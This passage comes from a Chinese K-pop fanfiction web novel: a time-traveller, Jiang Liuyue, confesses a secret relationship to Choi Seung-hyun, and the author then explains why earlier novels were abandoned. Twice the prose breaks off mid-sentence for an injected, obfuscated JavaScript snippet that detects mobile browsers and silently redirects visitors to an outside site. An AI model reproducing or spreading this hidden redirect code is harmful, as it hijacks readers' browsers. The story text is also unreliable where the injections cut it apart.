崔胜铉显然是怒极,手杖嗖的一下就要往金优的下三处戳。 这可不是闹着玩的!江留月哪里能让金优被打,情急之下赶紧抱住崔胜铉的腰,一只手猛然拽住他要打人的袖口:“算了哥,真的是误会啊哥,别动手啊哥!!” 她一边拽住崔胜铉一边对着金优摆手,做口型要对方赶紧走。 金优脸上表情变幻莫测。 “呀,你再不走真的要挨打了!” 江留月气急败坏,也顾不上什么隐藏不隐藏。 金优犹豫片刻,对着她说到:“我会联络你的。”之后,转身离开了。 江留月见他的身影在走廊消失,这才松了口气,也松开了勒着崔胜铉的手,一只手搭在他手臂上借力站直,一只手心虚的为崔胜铉扯平昂贵布料上本不该出现的褶皱。 “呃……谢谢你啊胜铉哥,没有哥的话我刚才一定会摔跤的。” 江留月讨好的说道。 崔胜铉面无表情的看着她,显然在等她一个解释。 “真的不是你想的那样,哥,那个人……呃……我们之前是认识的,只是因为一点儿小事儿,所以闹了点不愉快,这一切真的只是个误会。” 江留月磕磕巴巴的解释道。 崔胜铉若有所思的看着她。 “志龙说……你最近不愿意接他的电话,让我在展览上看到你的话,要问问你的情况。” 崔胜铉扯了扯变形的袖口,看着江留月心虚的滴溜溜转的小眼神,似乎明白了什么:“刚才那个人……” 江留月的心一下子提到了嗓子眼。 “是你的出轨对象吗?” 她差点原地滑倒,好不容易一把拽住了崔胜铉的袖口。 那可怜的袖口被拽来拽去,已经失去了弹性,倔强的在崔胜铉规整的手臂上翘起了一个小尖。 江留月攥着小尖稳住身形,深吸一口气,对着崔胜铉郑重其事的一字一句强调道:“绝无这种事情。” 崔胜铉沉默了片刻。 “你骗我。” 他再开口的时候,江留月的心如同坐着云霄飞车就落了下去: “他冒犯了你……你们之间的行为超过了朋友的界限,如果是其他人,你早就撇清关系了,但你却一直在维护他。” 崔胜铉的声音低哑,在有些空荡的走廊里听起来压迫感十足: “你们两个到底是什么关系?” 他又问: “为什么骗我。” 江留月一口气哽在喉咙里,好一会儿,才慢慢的叹了口气:“知道了,我会说的,在这之前,先离开这种地方吧,别被人看到了。” 她有些沮丧的看着自己那脆弱的手作高跟鞋:“这可怎么办,我上哪里去找和这身衣服相配的高跟鞋啊。” 崔胜铉低头一看,那鞋跟和鞋子都分家了。 他略一思考,便蹲下来,拍了拍江留月的小腿,江留月下意识的配合抬脚,他就脱了她脚上另外一只鞋子,然后站起身对着走廊上的罗马柱找了个角度,叼着烟一个用力甩手,啪的一声就搞断了另外一根鞋跟。 除了江留月比刚登场的时候莫名矮了五公分之外,一切都很完美。 崔胜铉将鞋子往江留月脚边一扔让她穿,江留月露出讨好的笑容呱唧呱唧的鼓掌,嘴里满是跑火车的溢美之词。 崔胜铉听得想笑,吐出一口烟雾,却冷不丁看到江留月的脚面上一大块可怖的青紫。 他刚抬起的嘴角猛然就回落了。 “你受伤了。” 崔胜铉变得严肃起来:“是那个人吗?” 江留月愣了一下才反应过来他说的受伤是指什么,她哭笑不得的摆手否认,然后又听崔胜铉问道:“那是因为志龙吗?” “……都不是,哥,停止你脑子里那些可怕的联想,我很好,这伤好些天了,我是自己不小心弄的,和刚才那个人无关,我也没有被志龙哥家暴或者欺负,你就算不相信我,也要相信一下志龙哥的人品吧。” 江留月一边碎碎念一边穿上了这双质量不太好的鞋,然后捡起了掉在地上的狗头手杖还给崔胜铉。 崔胜铉却没有接,只是用审视和严肃的目光看着她。 “怎么啦。” 江留月笑嘻嘻的问道: “我这身打扮很奇怪吗?” 她抬了抬手臂,向崔胜铉展示衣服上的鬼马花纹:“我倒是挺喜欢的。” 不奇怪。 相反,比她之前那些中规中矩的衣服都要灵动活泼,更抓人眼球,像个性格狡诈的魔女或者总是闯祸的混血精灵。 ——很生动。 崔胜铉没有将这些评价说出口。 他脑子里滑过很多想法,最后吐出来的却是一句:“玛纳森为什么死了?” “啊?” 江留月被问懵了,自从崔胜铉出现,她面对的考验是一个赛一个的严峻,每一个都打得她措手不及。 “玛……玛什么?什么死了?” 她怀疑自己听错了,又不知道该用什么语气说,毕竟不管是谁死了,都应该是个令人感到难过的事情。 “我的孩子玛纳森,你为什么弄死了。” 崔胜铉皱着眉问道。 “……?????” 江留月抿着嘴,抬起下巴,皱着眉,看着崔胜铉,足足思考了一分钟,才想起来这个玛纳森是什么。 是那个见鬼的模拟游戏。 就是她穿越来之前,2014年的自己和权志龙大吵一架,气到自己直接住院的模拟游戏。 在那个虚拟游戏里,因为权志龙的轻率操作,她在游戏里的两个孩子“去世”了。 为了安抚她受伤的心,崔胜铉忍痛将自己的黑人小孩“玛纳森”过继给了她和权志龙的家庭,这个交接仪式还是在保姆车上完成的。 之前2014年的江留月可以说是沉迷这个游戏,每天在游戏里耗费至少一两个小时,可来自2024年的江留月就对此完全无感了。 十年前的画质、画风和游戏体验,对于她来说毫无吸引力。 而且…… 只是一个虚拟游戏罢了。 敷衍过了权志龙之后,江留月就几乎没有登录过这个游戏了,很显然,在她没有登陆的时候,她和权志龙的“继子”再次因为疏于照顾而“去世”了,而“生父”崔胜铉大抵是接到了讣告短信才知道了这个噩耗,现在来找她兴师问罪。 啊……这不得了……得好好赔罪才行了。 江留月想着想着,却又觉得古怪。 不对啊……刚刚他们不是在讨论金优的事情吗?怎么忽然拐到这个游戏上了? 她用迷茫的眼神看着崔胜铉,而崔胜铉接收到了她的情绪信息之后,认真的做出了自己的阅读理解:“你因为失去孩子所以太伤心了,你接受不了玛纳森。” 并不是。 但江留月不好意思这么说,毕竟她记得这个游戏里的小孩子从出生开始就要完成许许多多的设定才能诞生,崔胜铉虽然审美清奇,但一定也为玛纳森付出了心血,她怎么好意思说自己完全忘记了这茬? 她只好含糊的点了点头,然后真诚道歉:“对不起,哥,我……我会好好……” 她纠结片刻,选了一个词语:“我会好好超度玛纳森的。” 崔胜铉点了点头,不知道是不是接受了她还算诚恳的道歉,继续道:“所以,你是不是因为太难过了,所以一时糊涂和那个男人有了点什么,他现在在纠缠你?” 第一,没有出轨。 第二,没有真的失去孩子……不对,没有孩子! 第三,没有伤心。 第四,知道但凡有一个第三者听到了她和崔胜铉的对话,娱乐圈的头版头条会爆炸成什么样子吗? 江留月只觉得眼前一黑,缓缓吐出了一口气,她觉得现在自己一天到晚,叹气的次数可太多了。 “这真的是误会,哥,请听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14481568|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我解释。” * 在江留月好说歹说之下,崔胜铉勉强同意,两个人一起找了个没有人来的偏僻展厅,找了两把椅子在一棵樱花树下坐下。 若单看两个人的衣着,倒像是个开茶话会的。 若听内容,倒像是来到了什么伦理节目狗血现场。 “哥,你真的误会了。” 江留月尴尬的搓着手,想着要怎么解释。 “你袒护他,塔伊。” 崔胜铉却没有给她再解释下去的余地。 “你可能自己都没意识到,你从来不会在我们面前袒护谁。” “这个人对你来说意义不同。” “但我也好,志龙也好,应该都不知道这个人是谁吧。” “你能不能诚实的告诉我,这个人到底是什么人,你们是什么关系?” “你真的出轨了?” 江留月都要绝望了。 但凡这个对话发生在自己家里,她都要跳起来抓起一个大喇叭怼着崔胜铉的脸大吼:我没有出轨!! 可现在,她只能深呼吸再深呼吸,尽量心平气和的低声道:“我,真的,没有,出轨,哥,你就那么信不过我的人品吗?” “不是。”崔胜铉摇了摇头:“我当然相信你,但是……” 他顿了顿,似乎在找合适的措辞。 “我觉得你很痛苦。” 但你,从来不曾求助过。 所以,不知道要怎么帮助你。 玛纳森好像也不行。 “塔伊,人在太痛苦的时候,有时候会不知道自己干了什么。有时候会只剩下本能,然后做错事情……我没有责怪你的意思,塔伊。”崔胜铉轻声道:“我只是……” “很担心你。” 江留月怔了一下。 她不知道为何,鼻尖涌上一股酸意,险些就要落泪了。 她吸了吸鼻子,稳住情绪回答道:“没关系,胜铉哥,我很好,”她半开玩笑的拍了拍崔胜铉的胳膊:“你少看点狗血爱情剧吧,整天在想什么呢。” 崔胜铉却没有笑。 而是盯着她。 “塔伊,哥最后问你一次,你和那个男人什么关系,真的没有出轨吗?” “我真的……” 江留月都要绝望了。 她试图用真情实感唤醒崔胜铉的误解,但看到对方认真严肃的双眼的时候,她不知道为何,停顿了片刻。 当然不是出轨。 “你们不是普通朋友吧,塔伊。” 随着这句话的落地,江留月的表情陡然变得空白。 她试图强行扯出个笑容来编造谎言,但却觉得心慌意乱,知道这不是个好的处理方式。 “我早就来了,我全听到了。” 崔胜铉接下来的一句话,更是给她的侥幸判了死刑。 往好的方面想,她和金优的对话至少没有暴露出来自于2024这种过于玄幻的东西。 往坏的方面想,听起来确实非常古怪。 古怪到,除非她之后和金优老死不相往来断掉,否则一定会被崔胜铉这个看似游离实则敏锐的家伙抓到把柄。 ……更坏的方面想。 崔胜铉到底看出了多少? 江留月陷入了沉默。 有什么东西开始变得失控,她能感觉到。 金优的突然出现,异样失控,他对自己莫名的执着纠缠,对崔胜铉的强烈敌意…… 有什么东西不受控制了。 江留月无意识的掐住了自己的手心。 崔胜铉默默地看着她,心里头也开始变得有些沉闷。 他知道,自己那诡异的猜想,有一部分正在变成可怕的现实。 崔胜铉早就来了,他听闻江留月在柳天赐的办公室,于是一路寻过来,然后看到江留月和那个男人一前一后的走了过来。 他下意识的觉得自己应该避开,于是暂且在拐角处停留片刻。 崔胜铉听到了他们说的大多数话,看到了他们之间的肢体互动,两个人的距离是如此之近,也许江留月也没有发现,对方的胸口都要贴到她的后背,双眼一直直白的落在她的身上。 作为男人的本能,他一眼就能看出来,这个男人对江留月有着怎么样的情感。 作为江留月身边最年长亲密的兄长,他也一眼能看出,江留月对这个人的态度很特殊。 两个人的社交距离太近了。 他从来没见过江留月在除了他和永裴之外的异性身上有过这种社交距离。 一个从未见过,名字都没不知道的陌生男人。 这太奇怪了。 崔胜铉猜测了许多,比如,这个男人嘴里说出的江留月父母的事情,是江留月连志龙和自己都不会说出口的痛苦回忆。 为什么这个男人都知道? 最可能的是,也许在某个伤心的夜晚,江留月得到过这个男人的慰藉,两个人之间有过什么畸形的关系。 他们之间一定有很多共有的秘密。 “……这个男人威胁你了吗?还是在纠缠你?我可以找人……” 崔胜铉尝试跳过那些难以启齿的故事,开始推测这个男人的身份。 “不,不是。” 江留月下意识说道:“这个人没有问题,他可以被相信,别伤害他。” ……坏了。 崔胜铉几乎是在瞬间,判断出事情开始往最可怕和不受控的方向发展。 江留月偏袒这个人,信任这个人。 哪怕这个人之前还在不顾她的意愿纠缠她。 “我们得谈谈这件事情。” 崔胜铉严肃的说道。 “我……” 江留月欲言又止,显然很是为难。 “我看得出来……你是觉得,志龙看不出来吗?” 崔胜铉却只用一句话,就打碎了她的犹豫。 “你和这个男人只要一起出现,塔伊,相信我,志龙用不了一秒就能发现你们俩之间的事儿。” “我们来谈谈。” “万一我想跟你当共犯呢。” 15.错误的决心 15.错误的决心 比起对金优的一口拒绝,江留月这次花了更长的时间去思考崔胜铉的话。 尤其是那句“志龙用不了一秒就能看出你们之间的关系”那一句。 金优不会善罢甘休,一定会找机会再来联系她,不管她是否承认自己有未来十年的记忆,也免不了一阵子的纠缠。 如果遇到权志龙的话,的确是很麻烦的事情。 这个时候如果再找不到一个合适的商务经纪人呢?总不能真的去重用南思风吧。 江留月陷入了沉默。 她无意识的用手指敲打着自己的腿,崔胜铉从上方看过去,能看到她的眼珠子在眼皮下缓慢的滚动。 也就是在这个瞬间,他意识到,眼前的这个人,似乎和他记忆里的江留月不一样。 她身上那种萦绕不去的悲凉感与易碎感已然消失,取而代之的是疏离与戒备。 也许她仍然是痛苦的,破碎的。 但那破碎的一切都已经被厚重的包裹了起来。 ……应该觉得高兴吗? 却不知道为何,让他觉得更加的心痛罢了。 “……发生什么事情了?”崔胜铉努力思索了一下他和江留月最近的见面,却发现少得可怜,除了上次的“玛纳森领养”之外,好像只是在公司或者录音室匆匆见过。 他倒是还经常玩那个游戏。 以前玩的时候,好像不管什么时候他上线,江留月的头像都是亮着的,这个游戏里可以将两个居民的房子放置在同一个街道上,江留月和权志龙那边的小房子经常亮着灯,也会随着游戏里上线的活动更换装饰品。 所以崔胜铉很喜欢玩,哪怕只是不停的当装修工,或者在diy工坊里建造一些奇形怪状的家具,他也有一种“好像三十年或者四十年之后退休了就是过着这样安稳的生活”的幸福感。 但最近玩的时候,江留月和权志龙的房子的装饰品还停留在上次活动的时期,出了事故的游泳池与客房拆了一半,至今还没搭建好。 他能透过游戏看到玛纳森的头像标记在主房那边,于是又投喂了几次食物。 代码生成的npc对他这个“养父”并无什么眷恋之情,他也无法再查看玛纳森的身体状态。 待到短信来临的时候,他再次登录游戏,才发现玛纳森的头像已经从隔壁小房子里消失了。 江留月和权志龙的头像都是灰色的,江留月的登录时间甚至在权志龙之前。 【一定是有什么发生了吧。】 那么想着的崔胜铉得知了江留月要发专辑的消息,他有点释然了,想着应该是工作忙碌了,一个游戏而已,热度过去了之后,很容易就会被遗忘在角落了。 “玛纳森……” “啊,拜托了哥,那只是个游戏,不是那么回事儿。”江留月本来在思考的沉重表情一秒破功,露出了有些绝望的表情对着他双 手合十:“真的,真的,和玛纳森没有关系。” 说完这些,她似乎又觉得自己的话说得有些重了:“我来补偿哥吧,如果待会儿看到什么喜欢的展品,我来买单送给哥当礼物好了。” “对了,胜铉哥,是因为喜欢这个设计师所以来参加的吗?”江留月露出笑容:“为什么不提前说,这样我就能蹭车一起来了。” 她在转移话题。 崔胜铉本应该就这样打着哈哈跳过这件事儿,因为江留月很明显不想谈。 但冥冥之中,似乎有什么催促着他,必须要问个清楚。 于是崔胜铉没有回答,而是皱着眉,表情严肃的盯着江留月,直到她脸上的笑容一点点消失,也变得正经严肃起来。 江留月扶着额头,似乎有些头痛。 “真的不能就这样放过我吗?”江留月最后问了一次,见崔胜铉不为所动的样子,她啧了一下,双手环胸的倒在圆形的椅子里, 抬头看向头顶的樱花树。 正是樱花盛放的季节,从尚不茂密却繁花似锦的树枝中,她窥得被切割得四分五裂的天空。 真是要说的话,她要从何说起呢? 庭院里吹过一阵风,樱花花瓣如同雪花一样飘扬落下。 江留月的眼前不知道为何,浮现了权志龙的身影。 很多次,很多次,很多次。 “……我和那个人交往过。” 她开始了平静的坦白:“……和志龙哥分开之后的那段时间,我们交往过。” 饶是有心理准备,崔胜铉都哽住了。 他揉着额头去回忆那段日子。 江留月和权志龙闹过很多次分手,但大多是情侣之间的小打小闹,正儿八经闹到两边都承认分手,大约是在11年左右,但11年10月,权志龙出事之后,江留月很快就回到了他的身边。 这短暂的,不到半年的时间里,江留月的确很少在他们面前露面,据称是找了个什么学院去读了个短期的课程。 但……从没听闻过,江留月在这段时间里交往过任何男人。 甚至于,在志龙出事的时候,第一个冲回来的人就是江留月。 她大约是知道了消息连夜冲回来的,不知道用得什么法子才逃过媒体的法眼,那天还下着雨,她浑身湿漉漉的,像是一条刚刚褪 去鱼鳍的美人鱼。 她脸上的热泪比雨水更要滂沱。 这样的孩子,在分开的时候,和别的男人交往了? 崔胜铉无法相信。 他试图在江留月的脸上找到说谎的痕迹,但江留月沉静的双眸告诉他,她并没有说谎。 那个男人的语言和行为也告诉他,他们之间的关系匪浅。 可…… 崔胜铉觉得脑子乱哄哄的。 “哥不是说要当我的共犯吗?” 江留月轻笑了一声:“为什么那么惊慌。” “交往了多久。” 崔胜铉烦躁的抽出一根烟:“这个男人……叫什么名字,为什么和你交往了?!你们怎么认识的?” 他越说越觉得烦躁:“啊西八!!这个狗杂种……你……你当时只有20岁吧,你才刚刚成年吧……不对,你那个时候,还没成年 吧……这个男人骗了你吗!?” 江留月一怔,立刻明白过来,崔胜铉误以为她和金优交往的时间是在2011年左右。 当时的她,的确还没有满韩国的法定成年年龄。 “我要杀了这个狗杂种。” 崔胜铉猛的吸了一口烟:“他多大了……三十?三十五?” 金优比权志龙和崔胜铉年龄相差不过两三岁,是85年生人,比江留月大六岁,现在二十九岁,大概在崔胜铉严重,他就是这样一 张老男人脸去“勾引”了只有十九岁的江留月,简直罪大恶极,罪该万死。 “这是犯罪啊西八!!” 眼看崔胜铉越来越激动,江留月只好让他冷静一下。 “我和志龙哥交往的时候,我才十八岁,哥。”【注:此处选用《如约》的设定,六儿是在出道之后和权志龙‘两情相悦’并‘互相拉扯’之后在一起的,原本《明月》的设定……我觉得已经不再适合当下的环境和取向,至于怎么在一起的,后续的章节中会有补充复盘,请大家安心食用。】 只一句话,崔胜铉就哽住了。 他张了张嘴,最后还是骂了一句西八。 只是不知道在骂谁。 江留月说完,也有了几分感慨,甚至有了几秒钟的恍惚。 她能看到十八岁的自己怎么因为权志龙的绯闻辗转反侧,怎么试探权志龙心中自己的重量,又是怎么在冰冷的雨夜抓住权志龙温暖的手。 权志龙狡黠的目光,甚至有些快要压不住得意笑容的嘴角,他的王子病正是最厉害的时候,一边将她抱入怀中一边轻声说 “我就知道你是我的。” “偷偷喜欢我是吧,塔伊,你被我抓到了。” 他带着热气的耳语让江留月站都站不稳,她只是呜咽着,因为羞耻将自己发烫的脸埋入权志龙宽阔而瘦削的肩头。 然后,权志龙用那双时常抓着铅笔修改稿子,在中控台上按下开关的手将她的脸捧起来,她不敢睁开眼睛,整个人晕乎乎。 “睁眼。” 权志龙憋着笑说道。 江留月勉强睁开眼,看到权志龙含笑的褐色眸子,差点羞得要哭出来。 “好好看着我,塔伊。” 权志龙终于在嘴角露出一点忍不住的笑意。 他凑近她,轻声道: “我现在是你的了。” 然后权志龙吻了她。 他的嘴唇好干燥,尝起来有些烟草的苦味,江留月头晕目眩,整个人像是从湿润的山坡上一路往下狂奔,失去平衡也失去停止的 能力,就那么沿着湿润的山坡,踩着青草的汁液,在太阳只升起一个角落的清晨跌入还大雾弥漫的森林里,最终跌落在潮湿的苔 藓层中。 风卷起樱花花瓣,落在江留月的鼻头。 她眨了眨眼睛,感觉因为阳光,眼角渗出一点泪花。 她眯了下眼睛,将这点痒意抹去,将自己从记忆中里拔了出来,不知所谓的为自己补了一句话: “……我那时候也太年轻了,所以冲昏了头。” 崔胜铉将烟头按灭,又点了一根,含糊的说道:“……反正你们都分手了,又不是出轨,志龙会理解的……” 他最后一句话说得底气全无。 江留月知道他误会了,但现在跟他去解释自己来自2024,这段感情绝对不可能被权志龙理解,显然只会让事情更复杂。 她只能先默认崔胜铉的理解,剩下的需要单独找到金优去对口供,至于在不在金优面前掉马甲…… 她想,这事儿已经没意义了。 从她抱着崔胜铉让金优快跑的时候,任何狡辩都早就多余了。 好在,江留月知道,金优并不会因此就生她的气。 江留月很难讲明白自己对金优是什么样的情感,金优是她在这个世界上最信任的人,没有之一。 就连对心理医生都很难说出口甚至在说谎的事情,她可以很直白的告诉金优,从韩国回去内娱,她不只是想趁热度分一杯羹而是想长久立足,必然动了一些人的蛋糕,面对刀光剑影,她也用过雷霆手段与人心算计。 金优是她唯一能交心托付的人,她常在半夜清冷的露台,一只手拿着一瓶酒一只手拿着一根激光笔,抿一口就在旁边的白板上晃 动一下,嘴里飞快的吐出人名和对应的策略,金优在旁边敲打键盘,将酒谈之间的计划事无巨细的记录下来,进行优化,然后去执行。 她在韩国出道将近六年,内娱却毫无根基,虽然凭借着名气可以得到一些好的邀约,但想要扎根下来却不容易,除此之外,她还要应对居心叵测的邀请,高位之人的觊觎,但江留月并不觉得累,反而觉得兴致勃勃,对方以君子之道下战书,她就打得有来有往,对方耍阴招,她就以牙还牙。 比起韩娱里极度夸张的前后辈制度、抱团垄断、财阀幕后操控,内娱显然好说话多了,再加上江家虽已不承认她的身份,但乔娜 离婚的事儿大小算个丑闻,当初被遮盖的很好,江留月不必刻意拿江姓做筏子,也多的是人投鼠忌器,不敢对她下黑手,免去了许多无妄之灾。 江留月迅速组织起了自己的工作室,重新筛选可用的人,她挑人挑的都是有野心有能力的年轻人,有底线的人留在身边,没底线的人挂个小号给钱给资源丢出去开市场,不过一年光景,就支起了自己的大好江山。 时也命也,她决定重返内娱的第二年,由于导弹部署原因,韩娱的影响前所未有的在国内衰退下去,骤然变得空白的市场里,江 留月的影响力如同野草一样疯涨,许是移情,许是代餐,她身上集中了前所未有的高热度。 江留月先上了两三期综艺,却发现内娱的风气并不如韩娱开放,她想的风评也并不如预计的好的时候,她当机立断的推掉了所有的综艺,然后将国内掌握好的资源分配给可信的人。自己则跑到日本重金一对一重学发音和舞美,找了大师级别的人物根据自己的音色重新针对国内市场做了专辑。 这张专辑耗时并不算长,因此质量来说难评上等,一些专业人士嘲笑,说从这张专辑俩看,江留月想要爆红的心和欲望都要满溢出来了。因为不管是从曲风还是定位,都能看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14503504|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出她选的是偏向于口水歌的风格,传唱度高但是艺术性非常一般。 很多人骂她丢了YG的脸,说YG的格调都被拉低了,江留月不以为意,先用传唱度极高的主打曲血洗榜单,然后又花重金请世界级音乐大师给自己做演唱会专供版本,砸血本做了舞美灯光和音效,最终凭借实力大成的live打了个翻身仗。 内娱当时已经没什么特别有影响力的音乐奖了,江留月也知道当歌手她的上限太低,转头开始跻身演员之列。 内娱的艺人们在20代经常被嘲笑,说什么都要沾点边,唱歌演戏脱口秀,综艺旅游vlog,最开头挨骂的人就是江留月。 骂着骂着,网友们就开始对她耳熟能详,美丽的脸,悦耳的嗓音,在内娱属于上乘的舞台质量,敬业还媚粉,江留月没打造什么 人设,却处处都是大家凭借自己的看法为她营造的人设。 有人替她卖惨,有人替她难过多年努力却一直被排挤,有人替她鸣不平,热热闹闹的,江留月就把第一把交椅坐稳了。 早年间,还有人议论她曾经和BB们的两三事,后来韩娱那边先后出事儿了,江留月的粉丝们都闭紧了嘴和曾经的东家与前辈们割 席,韩娱逐渐式微。热搜上韩娱的舞台、电视剧、花絮、采访、官宣逐渐变成了丑闻、绯闻、黑料的;吃瓜的人渐渐多于追星的 人,评论区里据理力争否认,面红耳赤的争吵变成了一水的吃瓜、看戏、吐槽;曾经那一代人开始忙于自己的现实生活,而新起 的苗子们,早已不知道Alice是什么意思,塔伊又是什么爱称,甚至连江留月这个名字,都开始逐渐陌生。 他们更习惯于听到“明月”这个名字。 这是江留月回国之后改的名字,后来就用明月当做自己的艺名,再后来,内娱上节目还要求标注本名,“江明月”就更加潜移默化的成为了每个人对她的印象。 那些困窘的,卑微的,流着眼泪的,带着笑容的,许下过誓言也打碎过真心的日子,随着江留月这个名字一起,被留在了韩国那方小小的土地上。 金优是她用的最好的一把刀,刀刃永远不会反转向她。 她曾经用这把刀切断了她的过去。 只是当时,她挥刀的时候,这些“过去”已然发生,她割舍掉的只有溺水的窒息感与痛苦的愤怒。 历经那么多年的反复拉扯和折磨,她只想要快点忘记这一切。 所以挥刀下去的时候,她毫不犹豫。 金优告诉她,权志龙兵役回来了,现在正想着法子要见她,是不是需要安排见面的时候,她只觉得头痛。 “你就不能让他永远别出现吗?” “……要我杀了他吗?” 金优开玩笑的说道。 “你疯了?!?!”江留月下意识的反驳道,看到金优脸上温和的笑容,才意识到自己被调侃了。 她头痛欲裂,只觉得心脏怦怦直跳,每一下都让自己心慌害怕。 平稳的陆地仿佛预知到地震的灾难,她甚至感觉自己深一脚浅一脚,不知在什么地方反复跋涉犹豫。 “要我赶走他吗?” 金优想了想:“那……我要用什么身份赶走他呢?” “经纪人?合伙人?投资人?……好像都不合适。” 金优在她面前半跪下来,用让人能够安静下来的眼睛看着她。 “明月,给我一个身份,让我可以平等的面对他。” “别害怕,我会一直陪在你的身边,你只需要做任何你想做的事情就好。” “那些让你痛苦的人和事情,都忘记吧。” “你现在自由又快乐,只需要做你自己。” “不要重蹈覆辙,明月。” “你不会想要回到韩国,再去过那样的人生的。” 金优说得对。 江留月很清楚,她从未如此的自由、轻快过,在内娱她得到的地位和尊重,韩娱这辈子都不会给她,因为她的血统不会给她,因 为她不肯舍弃的中国国籍不会给她,因为…… 韩国不爱她的理由太多了,她不在乎。 因为,她也不爱韩国,她是被命运放逐在这里的,勉强呼吸着不合适的空气,勉强挤进不合适的模具,勉强长成讨人喜欢的样子。 在天空中飞过的鸟,不会回到笼子里去。 江留月抓紧了刀柄。 然后。 挥动了刀。 * “你知道,志龙很爱你吧。” 崔胜铉轻声道。 “塔伊,这个事情,就当做秘密让我们三个人知道吧,这些事情来交给我处理,志龙不会知道这一切的,我……” “……胜铉哥,”江留月不想知道所谓的‘处理’是什么,她打断了崔胜铉的话:“请让我自己处理这件事情,不要告诉志龙哥,也不要去对那个人做什么事情,给我一点时间,可以吗?” 崔胜铉露出明显的不愿意的表情。 这在江留月所料之内。 “为我保守秘密吧,胜铉哥。”江留月很平静:“反正你对志龙哥保密的事情,又不是只有这个。” “我还有什么啊……”崔胜铉下意识反驳道,表情看起来甚至有些荒谬。 “我们不是有婚约吗?”江留月用手指戳了一下崔胜铉大拇指上的祖母绿戒指,那是一对,还有一枚女戒,放在乔娜的保险箱里,是当年崔胜铉的外公还在的时候,分给尚在襁褓中的江留月的。 崔胜铉的脸猛然变白了,他下意识的想要说句玩笑话来打破这个对话,但江留月没有给他机会:“不要去动那个人,胜铉哥,那样的话,秘密就是秘密。” “比起那个人……哥的秘密,不是让志龙哥更伤心吗?” “胜铉哥,你来帮我保守秘密,我就会安静的,不惊动所有人的情况下,和你解除婚约,这样的话,你满意吗?” 樱花如雪,扑入崔胜铉怀中。 他呼吸过于颤抖,以至于樱雪簌簌。 江留月看着他。 不知道何时,那熟悉的脸庞,有着如此陌生的表情,说着他听不懂的话。 “胜铉哥,你不想要自由吗?” 16.在过去的时间里 《我和你的这十年》阅读前的一些补充与说明 致各位读者: 《我和你的这十年》现在更新已经超过了六万字,作者接到了一些读者的私信,表示没有看过《明月》和《如约》,导致看不太懂《我和你的这十年》的一些剧情,希望能做一些补充说明,因此特意诞生此章节,作者也已经在故事简介里增加了索引,希望能帮助读者们理解这篇小说的前情。 本篇章节交代了《明月》《如约》的创作背景、理由,这部分内容是交代给原来的读者们的,对此不感兴趣的读者们请直接下滑,看到【剧情提要】的字眼之后再往下看。 【对前读者们的一些交代】 首先,我真诚的为《明月》和《如约》以及相关衍生的小说最终未能完结,给读者们一个交代致以诚恳的歉意。 作为一名作者,我理应为笔下作品和角色负责,给他们完整的人生,也给期待他们人生的读者一个交代,但确实出于这样那样的原因,我不负责任的坑掉了作品,时至今日依然有人期盼《明月》的完结,而我注定辜负这样的期待,我十分抱歉。 * 《我和你的这十年》是《韩娱(娱乐圈)之明月在上》和《如约》的后传,《明月在上》是作者写的第一部韩娱小说,当时开本的时候时间就是2014年,在当时的年龄、阅历、心理状态以及当时的娱乐圈状态、舆论环境、读者喜好等等综合因素之下,写下 了这本超过百万字的长篇巨作。 当时写这篇小说的时候,作者也没料到这篇小说会写得那么长,实在是当时作者年轻、精力充沛,又得到了许多读者的喜爱和支持,再加上当时“韩娱是娱乐圈追星主流,bigbang全体成员都在进入巅峰期”才能源源不断的输出内容。 当时的小说也好,影视作品也好,大女主的形象很少,大家的审美还是女弱男强为主,且偏向于男性霸道、病娇、偏执、大男子主义的审美之下,《明月》的人设按照当下审美来看,已是诟病满满,随着作者本人思想的转变和心理上的成熟,再加上前期女主一直被虐得郁郁不得志,其实作者在写的时候也颇受在写到将近七八十万字的时候,时间线才推到2007年初,庞大的工作量与高昂的负面情绪就已经让作者写不下去了。 当时,为了能够继续写下去,我选择切掉一年多的时间,直接跳了时间线到2008年,结果没写多久,韩娱方面的负面新闻就开始逐渐爆雷,我相信熟悉BB的诸位都知道发生了什么,这让我的心态一度崩溃。 在这之后,我尝试过数次方法来挽救这个作品,甚至选择推翻所有全部重写,也就有了《明月》的后身《如约》,在《如约》 里,我改掉了女主的一些容易被诟病的特质,改掉了一些不再符合当时审美的恋爱观、事业观,并重新开始了连载。 然后,韩娱又爆雷了。 这次爆雷,基本是彻底击垮了我。 因为我创作《明月》和《如约》等作品的最大动力,其实就是为爱发电。 想要继续写这两部作品中任何一个,我都要描写到爆雷的成员们,甚至其中一位还是剧情占比极高,甚至一度上位的男二号。 我实在不敢说自己算个团魂粉,甚至爆雷之后提到这样的词,我会觉得羞愧,觉得对不起权志龙的痛苦和孤独。 但我实在不知道如何去面对,自己从2011年正式入坑到爆雷之前将近7年的时间里付出的心血和爱意。 推翻剧情再次重新开始,尚且其次,更重要的是,当时的我无法提笔再输出对他们的爱意,创作变成了一件十分痛苦的事情。 我中间进行过各种各样的尝试,比如说写架空,写虚构,规避人物,只写爆雷之前的时间线……但最终空无一字的文档告诉我,完蛋了。 最终,我也不知道要怎么给交代,只能在读者群里潦草谈了几句,从此坑掉了这两个作品,甚至一度封笔,再也没有输出任何相关的内容。 